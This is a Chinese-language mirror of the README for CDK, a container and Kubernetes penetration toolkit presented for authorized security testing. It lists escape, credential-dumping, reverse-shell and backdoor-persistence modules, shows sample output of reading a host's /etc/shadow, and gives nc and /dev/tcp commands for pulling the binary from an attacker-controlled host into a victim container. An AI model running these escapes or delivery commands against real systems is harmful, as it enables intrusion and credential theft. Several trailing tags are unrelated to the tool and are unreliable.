cdk-team/CDK

GitHub: cdk-team/CDK

一款零依赖的容器渗透测试工具包,帮助安全人员在容器与 K8s 环境中快速发现并利用逃逸路径。

Stars: 4622 | Forks: 599

# CDK - 零依赖容器渗透工具包 English | [简体中文](https://github.com/cdk-team/CDK/wiki/CDK-Home-CN) ![png](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/3759f5a8e9100858.png) ## 法律声明 未经事先相互同意使用 CDK 攻击目标是非法的。 CDK 仅供安全测试用途。 ## 概述 CDK 是一个开源的容器渗透工具包,旨在无需任何操作系统依赖的情况下,在不同的精简容器中提供稳定的利用。它附带实用的网络工具和许多强大的 PoC/EXP,帮助你轻松逃逸容器并接管 K8s 集群。 ## 快速开始 运行 **`cdk eva`** 获取评估信息和推荐的利用方式,然后运行 **`cdk run`** 开始攻击。 ``` > ./cdk eva --full [*] Maybe you can exploit the *Capabilities* below: [!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation. [!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/. Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'. Critical - Possible Privileged Container Found. > ./cdk run cap-dac-read-search Running with target: /etc/shadow, ref: /etc/hostname ubuntu:$6$*******:19173:0:99999:7::: root:*:18659:0:99999:7::: daemon:*:18659:0:99999:7::: bin:*:18659:0:99999:7::: ``` ## 安装/交付 从 https://github.com/cdk-team/CDK/releases/ 下载最新版本。 将可执行文件放入目标容器并开始测试。 ### 提示:在真实渗透测试中将 CDK 交付到目标容器 如果你有一个可以上传文件的利用方式,那么你可以直接上传 CDK 二进制文件。 如果你有一个 RCE 利用方式,但目标容器没有 `curl` 或 `wget`,你可以使用以下方法交付 CDK: 1. 首先,在你的主机(公网 IP)上托管 CDK 二进制文件。 ``` (on your host) nc -lvp 999 < cdk ``` 2. 在受害容器中执行 ``` cat < /dev/tcp/(your_public_host_ip)/(port) > cdk chmod a+x cdk ``` ## 用法 ``` Usage: cdk evaluate [--full] cdk run (--list | [...]) cdk [...] Evaluate: cdk evaluate Gather information to find weakness inside container. cdk evaluate --full Enable file scan during information gathering. Exploit: cdk run --list List all available exploits. cdk run [...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki Tool: vi Edit files in container like "vi" command. ps Show process information like "ps -ef" command. nc [options] Create TCP tunnel. ifconfig Show network information. kcurl (get|post) Make request to K8s api-server. ectl get Unauthorized enumeration of ectd keys. ucurl (get|post) Make request to docker unix socket. probe TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000 Options: -h --help Show this help msg. -v --version Show version. --profile= Select evaluation profile. ``` ## 功能特性 CDK 包含三个模块: 1. 评估:收集容器内部信息以发现潜在弱点。 2. 利用:用于容器逃逸、持久化和横向移动。 3. 工具:网络工具以及用于 TCP/HTTP 请求、隧道和 K8s 集群管理的 API。 ### 评估模块 用法 ``` cdk evaluate [--full] ``` | 战术 | 脚本 | 支持 | 用法/示例 | |------|------|------|-----------| | 信息收集 | 操作系统基础信息 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-System-Info) | | 信息收集 | 可用能力 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities) | | 信息收集 | 可用 Linux 命令 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities) | | 信息收集 | 挂载点 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Mounts) | | 信息收集 | 网络命名空间 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Net-Namespace) | | 信息收集 | 敏感环境变量 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Services) | | 信息收集 | 敏感进程 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Services) | | 信息收集 | 敏感本地文件 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Sensitive-Files) | | 信息收集 | Kube-proxy 路由本地网(CVE-2020-8558) | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-check-net.ipv4.conf.all.route_localnet) | | 信息收集 | 基于 DNS 的服务发现 | ✔ | [链接](https://github.com/kubernetes/dns/blob/master/docs/specification.md) | | 探测 | K8s API 服务器信息 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-API-Server) | | 探测 | K8s 服务账户信息 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-Service-Account) | | 探测 | 云平台元数据 API | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Cloud-Provider-Metadata-API) | ### 利用模块 列出所有可用的利用方式: ``` cdk run --list ``` 运行目标利用: ``` cdk run [options] ``` | 战术 | 技术 | CDK 利用名称 | 支持 | 精简版 | 文档 | |------|------|--------------|------|--------|------| | 逃逸 | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | | | 逃逸 | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-shim-pwn) | | 逃逸 | Docker.sock PoC(DIND 攻击) | docker-sock-check | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-check) | | 逃逸 | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-pwn) | | 逃逸 | Docker API (2375) RCE | docker-api-pwn | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-api-pwn) | | 逃逸 | 设备挂载逃逸 | mount-disk | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-disk) | | 逃逸 | LXCFS 逃逸 | lxcfs-rw | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-lxcfs-rw) | | 逃逸 | Cgroups 逃逸 | mount-cgroup | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-cgroup) | | 逃逸 | 滥用无特权用户命名空间逃逸 CVE-2022-0492 | abuse-unpriv-userns | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-abuse-unpriv-userns) | | 逃逸 | Procfs 逃逸 | mount-procfs | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-procfs) | | 逃逸 | Ptrace 逃逸 PoC | check-ptrace | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-check-ptrace) | | 逃逸 | 重写 Cgroup(devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-rewrite-cgroup-devices) | | 逃逸 | 从主机系统读取任意文件(CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-cap-dac-read-search) | | 探测 | K8s 组件探测 | service-probe | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-service-probe) | | 探测 | 转储 Istio 边车元数据 | istio-check | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-check-istio) | | 探测 | 转储 K8s Pod 安全策略 | k8s-psp-dump | ✔ | | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-psp-dump) | | 远程控制 | 反向 Shell | reverse-shell | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-reverse-shell) | | 远程控制 | Kubelet Exec | kubelet-exec | ✔ | ✔ | | | 凭据访问 | 注册表暴力破解 | registry-brute | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-Container-Image-Registry-Brute) | | 凭据访问 | 访问密钥扫描 | ak-leakage | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-ak-leakage) | | 凭据访问 | Etcd 获取 K8s Token | etcd-get-k8s-token | ✔ | ✔ | | | 凭据访问 | 转储 K8s 密钥 | k8s-secret-dump | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-secret-dump) | | 凭据访问 | 转储 K8s 配置 | k8s-configmap-dump | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-configmap-dump) | | 权限提升 | K8s RBAC 绕过 | k8s-get-sa-token | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-get-sa-token) | | 持久化 | 部署 Webshell | webshell-deploy | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-webshell-deploy) | | 持久化 | 部署后门 Pod | k8s-backdoor-daemonset | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-backdoor-daemonset) | | 持久化 | 部署影子 K8s API 服务器 | k8s-shadow-apiserver | ✔ | | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver) | | 持久化 | K8s MITM 攻击(CVE-2020-8554) | k8s-mm-clusterip | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-k8s-mitm-clusterip) | | 持久化 | 部署 K8s CronJob | k8s-cronjob | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-cronjob) | **关于精简版(Thin):** 精简版(Thin)是为短期生命周期的容器 Shell(如 Serverless 函数)准备的。我们在源代码中添加了编译标签,并裁剪了一些利用方式以减小二进制体积。2MB 的文件包含了 90% 的 CDK 功能,你也可以从 CDK 源代码中挑选有用的利用方式来自行构建轻量级二进制。 ### 工具模块 像在 Linux 中一样运行命令,输入参数略有不同,具体用法请参考使用链接。 ``` cdk nc [options] cdk ps ``` | 命令 | 描述 | 支持 | 用法/示例 | |------|------|------|-----------| | nc | TCP 隧道 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-nc) | | ps | 进程信息 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-ps) | | netstat | 类似 "netstat -antup" 命令 | ✔ | | | ifconfig | 网络信息 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-ifconfig) | | vi | 编辑文件 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-vi) | | ectl | 未授权枚举 etcd 键 | ✔ | | | kcurl | 请求 K8s API 服务器 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-kcurl) | | dcurl | 请求 Docker HTTP API | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-dcurl) | | ucurl | 请求 Docker Unix 套接字 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-ucurl) | | rcurl | 请求 Docker Registry API | | | | probe | IP/端口扫描 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-probe) | ### 发行说明文档 如果你想了解我们如何发布新版本、Thin 是如何生成的、为什么提供 UPX 版本,以及所有版本(Normal、Thin、UPX)之间的区别,并如何选择特定的 CDK 利用方式和工具来编译你自己的发行版,请查看 [发行说明文档](https://github.com/cdk-team/CDK/wiki/Release)。 ## 开发者文档 * [在容器中运行测试](https://github.com/cdk-team/CDK/wiki/Run-Test) #### 漏洞报告 漏洞以 [GitHub Issues](https://github.com/cdk-team/CDK/issues) 形式跟踪。请创建包含当前 CDK 版本、错误消息和环境的 Issue,并描述重现问题的具体步骤。 #### 提出改进建议 改进建议以 [GitHub Discussions](https://github.com/cdk-team/CDK/discussions) 形式跟踪。你可以在此直接与开发者讨论。 #### 拉取请求 修复问题或维护 CDK 质量: * 描述当前 CDK 版本、环境、问题及重现问题的具体步骤。 * 修复前后的运行截图或日志。 新功能或利用方式: * 说明该增强功能对其他用户有何帮助。 * 请为我们提供一个可持续的环境以审查贡献。 * 该新功能如何工作的截图。 * 如果你提交新的评估/利用脚本,请在 PR 消息中添加一个简单文档,[此处为示例](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-deploy)。 ## 事件 ### 404StarLink 2.0 - 银河 ![png](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/12b4dade18100906.png) - [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community) ### BlackHat Asia 2021 Arsenal - [https://www.blackhat.com/asia-21/arsenal/schedule/index.html#cdk-zero-dependency-container-penetration-toolkit-22422](https://www.blackhat.com/asia-21/arsenal/schedule/index.html#cdk-zero-dependency-container-penetration-toolkit-22422) ### HITB SecConf 2021 Amsterdam - [Briefing: "Attack Cloud Native Kubernetes"](https://conference.hitb.org/hitbsecconf2021ams/sessions/attacking-cloud-native-kubernetes-with-cdk/) ### WHC 2021 (补天白帽大会) - [CDK: Also a Awesome BugBounty Tool for Cloud Platform](https://github.com/neargle/slidefiles/blob/main/2021%20WHC2021%20CDK-Also-a-Awesome-BugBounty-Tool-for-Cloud-Platform.pptx.pdf) ### KCON 2021 Arsenal - [http://kcon.knownsec.com/2021/#/arsenal](http://kcon.knownsec.com/2021/#/arsenal) ### Kubernetes community Days 2021 - [https://community.cncf.io/events/details/cncf-kcd-china-presents-kubernetes-community-days-china/](https://community.cncf.io/events/details/cncf-kcd-china-presents-kubernetes-community-days-china/)
标签:CAP_DAC_READ_SEARCH, CAP_SYS_MODULE, Chrome Headless, CNI, Containerd安全, Cutter, Docker安全, EVTX分析, EXP, Kubernetes安全, PB级数据处理, PoC, SYS_ADMIN, Web截图, 二进制工具, 协议分析, 反取证, 安全扫描, 安全测试, 安全评估, 安全运维, 容器取证, 容器安全, 容器逃逸, 开源安全工具, 攻击性安全, 数据展示, 无操作系统依赖, 日志审计, 时序注入, 暴力破解, 权限提升, 特权容器, 红队, 逆向工具, 逆向工程平台, 零依赖